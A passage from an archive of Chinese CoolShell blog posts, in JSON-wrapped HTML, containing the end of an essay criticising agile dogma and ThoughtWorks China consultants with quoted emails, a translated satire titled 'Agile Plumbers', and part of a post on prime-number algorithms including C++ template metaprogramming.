target=\"_blank\">持续性的黑客攻击</a>。</p>\n<p>本来已经过去的事，今天却又发现这两篇文章的访问量和评论又上来了，才发现原来是InfoQ的这篇文章——《<a href=\"http://www.infoq.com/cn/articles/virtual-panel-tdd\" target=\"_blank\">虚拟座谈会：TDD有多美？</a>》，加上很多我在评论中的观点，以及ThoughtWorks和InfoQ之前给我的来信中谈到的一些观点。我很不自然地想把我的一些观点总结并罗列在这里。主要分成四块—— 1）<strong>我对整个事情的基本观点</strong>，2）<strong>对于方法论的观点，3）对于TW中国咨询师的观点</strong>，4）<strong>还有和TW和InfoQ住来信件中的观点</strong><strong>。</strong></p>\n<p><strong>————————————————</strong></p>\n<h4>基本观点</h4>\n<p>首先，我想说明一下我的基本观点。</p>\n<p><span id=\"more-3745\"></span></p>\n<p>一、<strong>真金不怕火炼</strong>。我就像大家一样，平时总是会或多或少的埋怨点什么。大街上有人随便做个事，你会和他较真吗？不会。这个事也一样，我就像大家茶余饭后批评房价和物价一样，你们没有必要那么较真，不值得这样小题大作（除非你们真的心虚了），如果你做得好的话，真金不怕火炼，我这点批评算得了什么。<strong>你们玩的是“敏捷”不是“敏感”</strong>。</p>\n<p>二、<strong>从正反面思考</strong>。我和大家一样，喜欢思考，喜欢从正面和反面一同思考问题，我有质疑的癖好，我希望大家都有这样的思考方式。注意，<strong>质疑的结果不是为了质疑而质疑，而是去寻找完整认识的一种方法</strong>。</p>\n<p>三、<strong>观点的自由</strong>。我不是一棍大打死一片的人，我不完全否定敏捷（我的那两篇文章都有一再说明过了），同时我也不会完全同意敏捷。我不会因为敏捷有不好的地方我一棍子打死，我同样不会因为敏捷的好处就大唱赞歌。任何事物都有好有坏，我寻求的是自由地发表我的观点。<strong>我反对观点的极端，但我追求观点的自由</strong>。</p>\n<p><strong>四、观点的不同。</strong>观点只有不同才会让人思路完整，观点只有不同才会迸发出火花，世界的进展正是因为有不同的观点。如果敏捷的咨询师和信仰者们不接受不同观点，不接受批评，那么你们将无法进步和发展，如果你们妄图让所有人都持认可敏捷的和谐观点，那么你们将会变得邪恶。<strong>没有批评，赞美也会变得没有意义</strong>。</p>\n<p><strong>————————————————</strong></p>\n<h4>对于敏捷方法论的观点</h4>\n<p>一、<strong>没有好的方法，只有适不适合的方法</strong>。正如没有好的设计，只有适不适合的设计一样。喜欢足球的朋友都知道，世界级的足球队中，巴西队玩的是个人艺术足球，德国队玩的是整体和纪律性足球，意大利玩的是防守型足球，但是他们都有夺世界杯冠军的实力，如果你硬要让巴西队去整意大利的风格，或是让德国整巴西的风格，那就悲剧了。<strong>敏捷是不会是适合所有人所有项目的，就像不是所有的人都有运动的天赋一样</strong>。</p>\n<p>二、<strong>软件开发的中心是人和项目，而不是方法</strong>。千万不要把方法放在中心，改变项目的性质和人的习惯去适应这个方法。正确的方法是，以人和项目为中心，了解项目中所有人的想法和做事的风格，以及项目的性质，从而决定采用什么样的方法。大家可以看看<a href=\"http://www.infoq.com/cn/articles/virtual-panel-tdd\" target=\"_blank\">InfoQ上那几个“专家”关于TDD的对话</a>，除了Google的测试经理外，其它人从到到尾谈的都是TDD方法，谈的都是如果要TDD，人应该怎么怎么样。<strong>这就是敏捷最大的问题——教条主义横行，以方法论为中心横行</strong>。我批判的就是这个！</p>\n<p>三、<strong>好的方法不是讲出来的，而是在实践中改善出来的</strong>。好的方法不用去讲出来的，而是从团队内部自发出来的。如果敏捷方法论很不错的话，那么应该会在现实中体现出来。<strong>真正好的方法是团队内部根据自身情况在不同的项目上使用的不同的方法</strong>。（注：请不要使用XUnit, Spring，ANT等程序框架举例，因为那些项目的用户是程序员）</p>\n<p>四，<strong>方法论不是一种理论</strong>。敏捷的鼓吹者说，TDD让你更关注设计，TDD更能了解需求。理论上，你可以把TDD拔到这样的高度，甚至更高的高度。可是具体实践上呢，你会发现在有压力的状态下你的程序员关注得更多的是测试过不过，在和用户沟通的时候，你会发现，根本没有一种好的方法论可以把需求完全搞清。如果TDD可以完全搞清需求，还要迭代干什么，直接waterfall了（其它关于TDD的观点请看我的文章《<a href=\"https://coolshell.cn/articles/3649.html\" title=\"TDD并不是看上去的那么美\">TDD并不是看上去的那么美</a>》）理论和实际的差别的很大的。</p>\n<p><strong>————————————————</strong></p>\n<h4><strong>对于ThoughtWorks咨询师的批评观点</strong></h4>\n<p>对于 下面这些言论，我就不一一点名了，因为我觉得这和咨询师没有关系，这和TW中国公司的管理理念有关系。</p>\n<ul>\n<li>中国ThoughtWorks某些咨询师通常在加入公司很短的时间内（1-2年），基本上都以被冠以“高级咨询师”。1-2年能做几个项目？我以为能给人做咨询的人都是在技能上让人佩服的那种人。20出头还是埋头苦干，努力学习，积累经验的时候，经验都不够，就可以给人咨询。</li>\n</ul>\n<ul>\n<li>中国ThoughtWorks某些咨询师们，喜欢翻译国外的书，但从不自己写书，他们喜欢blog，他们的blog里都里大量的Agile的方法，而很少有对技术的见解，以及技术细节知识性的文章，在他们的blog中，你很难看见代码。</li>\n</ul>\n<ul>\n<li>中国ThoughtWorks的咨询师们，喜欢参加各种研讨会，以及各种论坛，媒体采访。看看<a href=\"http://www.infoq.com/cn/articles/sofware-outsourcing-eco-crisis-3\" target=\"_blank\">这篇文章</a>，空洞，空洞，还是空洞。</li>\n</ul>\n<ul>\n<li>中国ThoughtWorks某些咨询师们大多都比较敏感，都是坚定不移的敏捷信徒。你别说有不同观点了，你就问个有点疑问的问题，他们就敏感了，就要反驳或是教育你了。</li>\n</ul>\n<ul>\n<li>中国ThoughtWorks某些咨询师们大多都很能说，和他们在一起，你基本上说不上话，就算说得上，他们也不会听你的，而且在不停地说教。大多数时候，他们都有很多的神一般的理论，比如：“你这不是真正的敏捷，真正的敏捷不是这样的”，“TDD中的T，是什么测试都无所谓。它就是设计。”，“TDD更强调设计，而不是测试本身。所以，TDD并不适用于菜鸟程序员。”，“你是在用锤子拔钉子”，“敏捷不需要文档，代码不需要注释”，“能学会的人他不需要看这些文字，不能学会的人他看了也是白看”，“它不是对不对的问题，它是可笑的”，“要使用一种设计方法，你就必须（1）会做设计；（2）做设计。它难在有些项目不做设计，有些人不会做设计”……</li>\n</ul>\n<p>大家可以看看<a href=\"http://www.infoq.com/cn/articles/virtual-panel-tdd\" target=\"_blank\">InfoQ的这个针对本章文章的讨论</a>，注意熊节同学的观点，他是在谈TDD呢，还是在说我呢？可见他是带着目的来参加这个讨论会的。但是大家有多少人看明白了他在说什么？他除了敏感，除了那些“神一般的观点”，你真的实在不知道他在说什么，你是不是和我一样，对他的发言感到很空洞呢？（熊节同学可能以为InfoQ把我邀请去了，其实我没有去。大家可以去看看，<strong><span style=\"color: #ff0000;\">那不是讨论，那是一群TDD的信徒们在自己炒作自己呢</span></strong>）</p>\n<p>我不厌其烦地再给咨询师们提那个建议——<strong>咨询师就像裁缝，不是只为设计时装的设计师，你们做的是量体裁衣的活儿。对于不同的身材，不同的体质，要用不同的财料和尺寸; 对于不同的性格，将会是不同的风格; 对于不同的场景，也将会是不同的服装，游泳和出席宴会是两种不同的服装。服装的好坏不是服装本身漂亮不漂亮，而是合不合身，搭配地好不好，适不适合相应的场景，着衣的人感觉到的是不是舒服</strong>。</p>\n<p>——————————————</p>\n<h4>关于ThoughtWorks和InfoQ给我的信</h4>\n<p>文章写得太长了，大家见笑了，也见谅！这是最后一段了。</p>\n<p>1） TW的王效珅在春节前和我有几次电子邮件的往。我觉得王效珅是个很出色的公关人员，她用硬朗来形容我，把我一下子形容老了几十岁。她希望和我做沟通，希望让我和TW的咨询师谈一谈，我没有答应，也没有拒绝。春节期间还给我打来了电话祝我春节快乐，真是太让我感动了。她尊称我老师，可是我并不买帐，因为我觉得我没有资格成为老师，我也建议她也不要随便叫人老师。下面，是我给她的回信中的观点。</p>\n<p>在谈到如何管理项目时，我这样回复她的</p>\n<blockquote><p>你可以理解成——你们就像是黄埔军校，西点军校出来的高材生，而我就则是一个天天在各种战场上摸爬滚打并被打得灰头土脸的土贼。我不相信流程和各种Best Practice，我只相信的是人。</p>\n<p>我最关心的是软件开发中的三件事，第一个是人，第二个还是人，第三个还是人。第一个人是实现项目的人，第二个是项目的所有人，第三个是项目外周边有关系的人。我不但关心他们的想法，他们的软/硬能力，我还更关心他们的风格，他们的性格，还有他们的成长经历。这样我才能在权衡项目中那些各种乱七八糟东西的时候，懂得怎么plan，怎么run，怎么communication，怎么manage 才会是真正有效的（效果+效率）。motivate和项目有关的每个人，这才是我心中的敏捷！（这其中是需要花大量的心血的，相当的影响寿命）</p></blockquote>\n<p>在谈到是否见面时，我是这样回复她的</p>\n<ul>\n<blockquote>\n<li>其一，在网上，不只是我的言论对TW有微辞，需要我们每一个人每一个公司树立一个好的心态就好了（网上骂我的也很多，我自以为我的心情还不错）。</li>\n<li>其二，如果做的好，那就经得住考验，经得住质疑，好的东西一定会有好的结果，有了结果，拿结果和事实说话，这是最好的方式。</li>\n<li>其三，你说的那位技术上的同事，据你说是对我很欣赏，也常看酷壳，那么以前应该交流过才对啊，不应该是我质疑了你们的时候。呵呵。</li>\n<li>其四，我绝对不是一棍子打死一片的人（我原文中也多次提过Agile中有一些提法是不错的），但是我也不是看到一个好的就大唱颂歌的人。</li>\n</blockquote>\n</ul>\n<p>2）关于InfoQ张凯峰主编的来信，原文如下：</p>\n<blockquote><p><span><br/>\nFrom: xxxxx@infoq.com<br/>\nDate: Tue, 15 Feb 2011 20:24:27 +0800<br/>\nSubject: 邀请参加TDD虚拟座谈会的讨论<br/>\nTo: haoel@hotmail.com<br/>\n</span></p>\n<p>陈皓你好，</p>\n<p>我是InfoQ中文站的主编张凯峰。最近你的《TDD并不是看上去的那么美》一文引起的广泛的关注，我们想就此做一次虚拟的座谈会讨论，邀请你来参与一下关于TDD的讨论。邀请的专家还包括thoughtworks的咨询师，以及其他敏捷方面的专家。以给读者更加广泛的视角和分享。欢迎参加，谢谢。</p>\n<p>以下是问题，可以把每个问题的答案发回给我。截止时间是两天。任何问题，请与我沟通，谢谢。</p>\n<p>请介绍你自己，以及TDD的实践经验。<br/>\nTDD跟Test是什么关系呢？TDD的T就是Unit Test吗？<br/>\n你认为实施TDD需要怎样的前提条件？TDD难在哪儿？<br/>\nTDD之于需求、设计、代码质量是怎样的关系和影响？<br/>\n你认为实施TDD容易犯的错误是什么？TDD的不足在哪些方面？<br/>\n一般开发者需要多久能掌握TDD呢？请向读者推荐一下TDD的学习资料吧。</p>\n<p>Thanks,</p>\n<p>—<br/>\n张凯峰 | Kevin Zhang | InfoQ China Managing Editor<br/>\nInfoQ China：http://www.infoq.com/cn</p></blockquote>\n<p>我的回复如下（我老婆 说我回复得太贫了，我接受！）</p>\n<blockquote><p><span>From: haoel@hotmail.com<br/>\nTo: xxxxx@infoq.com<br/>\nSubject: RE: 邀请参加TDD虚拟座谈会的讨论<br/>\nDate: Tue, 15 Feb 2011 21:45:51 +0800</span></p>\n<p>张凯峰主编，您好！</p>\n<p>谢谢你们关注我的文章，见笑了。</p>\n<p>你们真是很厉害，相当善于发掘热点新闻。果然是媒体的专业素质。;-)</p>\n<p>我的文章不应该有那么大的能量，一个根本没有推广的个人blog，随便发布一些自己的想法，不是自我炒作，自己的blog嘛，想啥说啥，就像大街上的阿猫阿狗一样随便发表点个人意见，不会有人在意的。哪能引得您们的关注。真是让我受宠若惊。</p>\n<p>另外，你问到的那些问题，绝大多数的答案都在我的那篇文章里了。如果你们想转载我的文章，转过去就是了，只要注明作者和出处就OK了。千万不要用于任何的商业目的和炒作，这样我会很不高兴的。</p>\n<p>所以，我还是谢绝这个讨论了。如果你真想找人讨论的话，执我这样观点的人并不在少数，Google一下，可以找到很多。尤其是国外的，有些作者和我一样，都是做了十几年的项目的，都是做大大小小也有20来个项目的，各种人，各种事，各种项目都经历过很多，找那些人岂不更好？</p>\n<p>P.S，您的邮件还真强势，在“谢谢”和“谢谢”中就直接让我回答这些问题，还只限两天时间。真是个大主编，让我学到了“谢谢”的另一种用法。谢谢！</p>\n<p>祝 工作顺利！<br/>\n陈皓</p></blockquote>\n<p style=\"text-align: center;\"><span style=\"font-size: 12pt;\"><strong>我的观点就是我的观点，无论你同不同意，喜不喜欢，都是我的观点，</strong></span></p>\n<p style=\"text-align: center;\"><strong><span style=\"font-size: 16px;\">他就在那里，不卑不亢，不多不少</span></strong></p>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/8209.html\"><img alt=\"“单元测试要做多细？”\" height=\"150\" src=\"../wp-content/uploads/2012/09/fight-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/8209.html\">“单元测试要做多细？”</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5531.html\"><img alt=\"Test-Driven Development？别逗了\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5531.html\">Test-Driven Development？别逗了</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5143.html\"><img alt=\"在新浪微博上关于敏捷的一些讨论\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/10.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5143.html\">在新浪微博上关于敏捷的一些讨论</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4891.html\"><img alt=\"Bob大叔和Jim Coplien对TDD的论战\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/17.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4891.html\">Bob大叔和Jim Coplien对TDD的论战</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3778.html\"><img alt=\"敏捷水管工\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/30.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3778.html\">敏捷水管工</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3766.html\"><img alt=\"[转]TDD到底美还是不美？\" height=\"150\" src=\"../wp-content/uploads/2011/02/feedback_cycle-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3766.html\">[转]TDD到底美还是不美？</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/3745.html\">再谈敏捷和ThoughtWorks中国咨询师</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2011-2-25 敏捷水管工.html",
    "content": "<html><body><p>本文来自Terazen Technology Inc的创始人+CTO的 <a href=\"http://ca.linkedin.com/in/davidjing\" target=\"_blank\">David Ing</a>的《<a href=\"http://david.ing.name/2010/12/24/agile-plumbers/\" target=\"_blank\">Agile Plumbers</a>》（这也墙？），我的其文中的这个帮事翻译过来（和前些天发的<a href=\"https://coolshell.cn/articles/3585.html\" title=\"SOAP的S是Simple\">SOAP的S是Simple</a>异曲同工）。</p>\n<p>也许你会觉得这个比喻不恰当。但我想告诉你的是，这个故事告诉我们，教条主义和以方法论为中心的危险。<a href=\"https://coolshell.cn/articles/2424.html\" target=\"_blank\" title=\"十条不错的编程观点\">十条不错的编程观点</a>中第一条—— <strong>The only “best practice” you should be using all the time is “<span style=\"color: #ff0000;\">Use Your Brain</span>”.</strong></p>\n<p>————————————————————</p>\n<p>(门铃响……)</p>\n<p><strong>事主：</strong>啊, Agile 水管工吗？ 请进，感谢谢你们这么快就来了——这的确很紧急，我这真是很乱。</p>\n<p><strong>水管工1</strong>: 先生，没问题，我们就是敏捷的。在我给你做Presentation前，我先给你介绍一下我的两个同事。</p>\n<p><strong>事主</strong>：Presentation？啊，我们有时间吗？这的水已经流得到处都是了……</p>\n<p><strong>水管工1</strong>：……先生，我们必需坚持这个。我们只是想保证你能成为动态搜寻解决方法的一份子。你是我们的 champion sponsor，也就是我们团队内的 consultant！你可以提供一个白板给我们使用吗？</p>\n<p><strong>事主</strong>：我没听懂，你们不觉得这变复杂了吗？我觉得我应该告诉你们这水是从房子哪儿流出来的，就是那……</p>\n<p><strong>水管工2</strong>：你这有让我脱衣服的地儿吗？</p>\n<p><strong>事主</strong>：什么？</p>\n<p><span id=\"more-3778\"></span></p>\n<p><strong>水管工2</strong>：我要坐在你的浴盆里——我还需要肥皂和托鞋。因为我们运作的方法是“测试驱动”， Red, Green, Red。你可以看到我们是怎么驱动的……</p>\n<p><strong>事主</strong>：为什么你会需要这样做？水都从楼梯上流下来了，水管爆裂了，马桶堵了，你能现在就开始吗？</p>\n<p><strong>水管工3</strong>：非常不错的feedback——感谢你！你介意先填一下这些 3×5 的卡片吗？我希望你能使用名词，让我们迭代一下刚才你说的“水灾……</p>\n<p><strong>水管工1</strong>：别那么着急，Domain Model 可以等的，让我们现在先生成一些想法——我们应该先把所有的业务需求都写出来，然后调查其动机。先生，是不是所有的功能都是 “关键业务’”？你能先给马桶评个等级吗？另外，如果你有100美金……</p>\n<p><strong>事主</strong>：你在开玩笑吗？你看，如果你们不能干这个，那么我就……</p>\n<p><strong>水管工2</strong>：我去拿个扳手。</p>\n<p><strong>事主</strong>：好！终于！等等，你就拿来一个扳手？可是你们有三个人哦。</p>\n<p><strong>水管工</strong>1：不这样的，先生！我还是在这里做个初始的Presentation，我一会就走了。但是，我还是会对项目的进度非常感兴趣的。我会打电话过来参加明天的 stand-up meeting。</p>\n<p><strong>水管工2</strong> ：另外，和你阐清一下，我们两个留下来的会分享同一把扳手，因为我们是结对水管工……</p>\n<p><strong>水管工3</strong>：……你能看到这会更有生产率，我们轮流使用这把扳手。并能保证很高的质量以及持续的工作激情！</p>\n<p><strong>事主</strong>：我没搞懂——你们以前应该就干过这个事了吗，不是吗？500美金的出场费还不能让你们有工作激情？</p>\n<p><strong>水管工1</strong>：你得想得长远一些，先生。你看，我们可以一起来经历整个过程。这是多么令人兴奋的事！我对此超级兴奋！</p>\n<p><strong>水管工</strong>2：哦，不。看看这个，这些是铜制的水管吗？有多少人在这住？</p>\n<p><strong>事主</strong>：什么？这个房子有5年了。就我和我太太在这里，但是你问这个是什么意思？</p>\n<p><strong>水管工3</strong>：嗯~~。我有些害怕，情况并没有那么简单！这些都是Legacy的水管，我们需要对它们做重构，而且，这些老的水管也无法适合我们新型的板手。重构看起来并不难……</p>\n<p><strong>水管工2</strong>：喔，我们可以使用新的在机场使用的防水层系统。另外，还有更多的工作需要花在一个大的O型环性能配置上， 但是这会让住在这里的数千人都到影响。我想，我们得做个迭代……</p>\n<p><strong>事主</strong>：什么？？！！</p>\n<p><strong>水管工1</strong>：先生，也许我们可以从你这做一些case study。我们可以为这里创新。让我们先安排一个游戏，这样我们可以进行一个头脑风暴。而最简单有可能做的事——先生，你有水桶吗？</p>\n<p><strong>事主</strong>：够了！你们给我滚出去！真是荒唐——很明显，你们根本不知道你们在做什么。给我滚出去！</p>\n<p><strong>水管工</strong>1：先生，我开始怀疑你根本没有一个Fackbook社交平台策略（Facebook Social Platform Strategy）用来做解决方案？</p>\n<p>————————————————</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/8209.html\"><img alt=\"“单元测试要做多细？”\" height=\"150\" src=\"../wp-content/uploads/2012/09/fight-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/8209.html\">“单元测试要做多细？”</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5531.html\"><img alt=\"Test-Driven Development？别逗了\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5531.html\">Test-Driven Development？别逗了</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5143.html\"><img alt=\"在新浪微博上关于敏捷的一些讨论\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/10.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5143.html\">在新浪微博上关于敏捷的一些讨论</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4891.html\"><img alt=\"Bob大叔和Jim Coplien对TDD的论战\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/17.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4891.html\">Bob大叔和Jim Coplien对TDD的论战</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3745.html\"><img alt=\"再谈敏捷和ThoughtWorks中国咨询师\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/26.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3745.html\">再谈敏捷和ThoughtWorks中国咨询师</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3766.html\"><img alt=\"[转]TDD到底美还是不美？\" height=\"150\" src=\"../wp-content/uploads/2011/02/feedback_cycle-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3766.html\">[转]TDD到底美还是不美？</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/3778.html\">敏捷水管工</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2011-2-28 打印质数的各种算法.html",
    "content": "<html><body><p>打印质数的算法应该是学习计算机编程的一个经典的问题，在这里想给大家展示一些方法，相信这些方法会对你的编程有一定的启发作用。请你注意几点，</p>\n<ul>\n<li>实际应用和教学应用有很大的差别。</li>\n<li>最后的那个使用编译时而不是运行时的方法大家可以重点看看。</li>\n</ul>\n<h4>教科书的示例</h4>\n<p>首先，先给一个教科书的示例。下面这个示例应该是教科书（至少是我上大学时的教科学）中算法复杂度最好的例子了。其想法很简单，先写一个判断是否是质数的函数isPrime()，然后从1到n分别调用isPrime()函数来检查。检查是否是质数的算法是核心，其简单的使用从2到n的开根的数作为除数。这样的算法复杂度几乎是O(n*log(n))，看上去不错，但其实很不经济。</p>\n<pre class=\"EnlighterJSRAW\">\n#include &lt;iostream&gt;\nusing namespace std;\n\nbool isPrime(int nr)\n{\n    for (int d = 2; (d * d) &lt; (nr + 1); ++d){\n        if (!(nr % d)){\n            return false;\n        }\n     }\n    return true;\n}\n\nint main (int argc, char * const argv[])\n{\n    for (int i = 0; i &lt; 50; ++i){\n        if (isPrime(i)){\n            cout &lt;&lt; i &lt;&lt; endl;\n        }\n    }\n}\n</pre>\n<h4><span id=\"more-3738\"></span>较好的算法</h4>\n<p>我们知道，我们的算法如果写成线性算法，也就是O(n)，已经算是不错了，但是最好的是O(Log(n))的算法，这是一个对数级的算法，著名的二分取中（Binary Search）正是O(Log(n))的算法。<strong>通常来说，O(Log(n))的算法都是以排除法做为手段的</strong>。所以，找质数的算法完全可以采用排除法的方式。如下所示，这种算法的复杂度是<em>O</em><em>(n(log(logn)))。</em></p>\n<p><strong>示例：打印30以内的质数</strong></p>\n<p>一、初始化如下列表。</p>\n<pre> 2  3  4  5  6  7  8  9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30</pre>\n<p>二、把第一个数（2）取出来，去掉所有可以被2整除的数。</p>\n<pre> 2  3     5     7     9    11    13    15    17    19    21    23    25    27    29</pre>\n<p>三、取第二个数（3），去掉所有可以被 3整除的数。</p>\n<pre> 2  3     5     7          11    13          17    19          23    25          29</pre>\n<p>四、取第三个数（5），因为4已经被去除了，再去掉所有可以被5整除的数。</p>\n<pre> 2  3     5     7          11    13          17    19          23                29</pre>\n<p>接下来的数是7，但是7的平方是49，其大于了30，所以我们可以停止计算了。剩下的数就是所有的质数了。</p>\n<h4>实际应用的算法</h4>\n<p>实际应用中，我们通常不会使用上述的两种算法，因为那是理论学院派的算法。实际中的算法是，我把质数事先就计算好，放在一个文件中，然后在程序启动时（注意是在启动时读这个文件，而不是运行时每调用一次就读一次文件），读取这个文件，然后打印出来就可以了。如果需要查找的化，二分查找或是hash表查找将会获得巨大的性能提升。当然，这样的方法对于空间来说比前面两个都要消耗得大，但是你可以有O(log(n))或是O(1)的时间复杂度。</p>\n<p>所以，我想在这里提醒大家——<strong>实际和理论的的方法很不一样的</strong>，千万不要读书读成书呆子。在游戏编程的世界里，大量的数据都不是运行计算的，而都是写在文件中的。比如，一个火焰效果，一个人物跑动的动作，都是事先写在文件中的。</p>\n<h4>使用编译时而不是运行时</h4>\n<p>下面这个例子（本例参考于<a href=\"http://www.intermediaware.com/blog/846/hack-of-the-day-fast-prime-numbers\" target=\"_blank\">这里</a>）你需要注意了，这是一个高级用法，使用模式来在编译时计算质数，而不是运行时。这种技术使用了C++编译器对模板的特化时的处理来生成自己相要的结果。这种方法在技术上是相当Cool的，但并不一定实用，这里只是想像大家展示这种用法。这是C++的最骨灰级的用法了。</p>\n<p>请看下面的两个模板类，第一个模板以递归的方式检查是否是质数，第二个方法是递归的退出条件（当N=1时），对于模板的重载，请参看相关的C++书籍。</p>\n<pre class=\"EnlighterJSRAW\">\ntemplate&lt;int N, int D = N - 1&gt;\nstruct isPrime {\n    enum {\n        result = (N % D) &amp;&amp; isPrime&lt;N, D-1&gt;::result\n    };\n};\n\ntemplate&lt;int N&gt;\nstruct isPrime&lt;N, 1&gt; {\n    enum {\n        result = true\n    };\n};\n</pre>\n<p>于是，通过这个模板，我们可以使用下面的代码来检查是否是质数：</p>\n<pre class=\"EnlighterJSRAW\">\nif (isPrime&lt;3&gt;::result)\n    cout &lt;&lt; \"Guess what: 3 is a prime!\";\n</pre>\n<p>下一步，我们需要打出一个区间内的质数，所以，我们需要继续设计我们的print模板。</p>\n<pre class=\"EnlighterJSRAW\">\ntemplate&lt;int N, bool ISPRIME&gt;\nstruct printIfPrime {\n    static inline void print() {}\n};\n\ntemplate &lt;int N&gt;\nstruct printIfPrime&lt;N, true&gt; {\n    static inline void print() {\n        std::cout &lt;&lt; N &lt;&lt; endl;\n    }\n};\n</pre>\n<p>从上面的代码中，我们可以看到，我们的第一个实际是什么也没做，而第二个有输出，注意第二个的模板参数中有一个true，其意味着那个质数的判断。于是我们就可以给出下面的代码来尝试着打印出一段区间内的质数：（<strong>请不要编译！！</strong>因为那会让编译器进入无限循环中，原因是printPrimes会不停地调用自己永不停止）</p>\n<pre class=\"EnlighterJSRAW\">\ntemplate&lt;int N, int MAX&gt;\nstruct printPrimes {\n    static inline void print()\n    {\n        printIfPrime&lt;N, isPrime&lt;N&gt;::result&gt;::print();\n        printPrimes&lt;N + 1, MAX&gt;::print();\n    }\n};\n</pre>\n<p>为了避免这个问题，你需要再加一个模板类，如下所示。这样当N变成MAX的时候，递归就结束了。</p>\n<pre class=\"EnlighterJSRAW\">\ntemplate&lt;int N&gt;\nstruct printPrimes&lt;N, N&gt; {\n    static inline void print() {\n        printIfPrime&lt;N, isPrime&lt;N&gt;::result&gt;::print();\n    }\n};\n</pre>\n<p>最后，让我们来看看最终的调用：</p>\n<pre class=\"EnlighterJSRAW\">\nint main (int argc, char * const argv[])\n{\n    printPrimes&lt;2, 40&gt;::print();\n    return 0;\n}\n</pre>\n<p>这个方法很NB，但是有两个问题：</p>\n<ul>\n<li>比较耗编译时间。</li>\n<li>不能在运行时输入MAX的值。</li>\n</ul>\n<p>不过，相信这种玩法会启动你很多的编程思路。</p>\n<p>当然，还有以前说过的那个——《<span style=\"font-weight: bold;\"><a 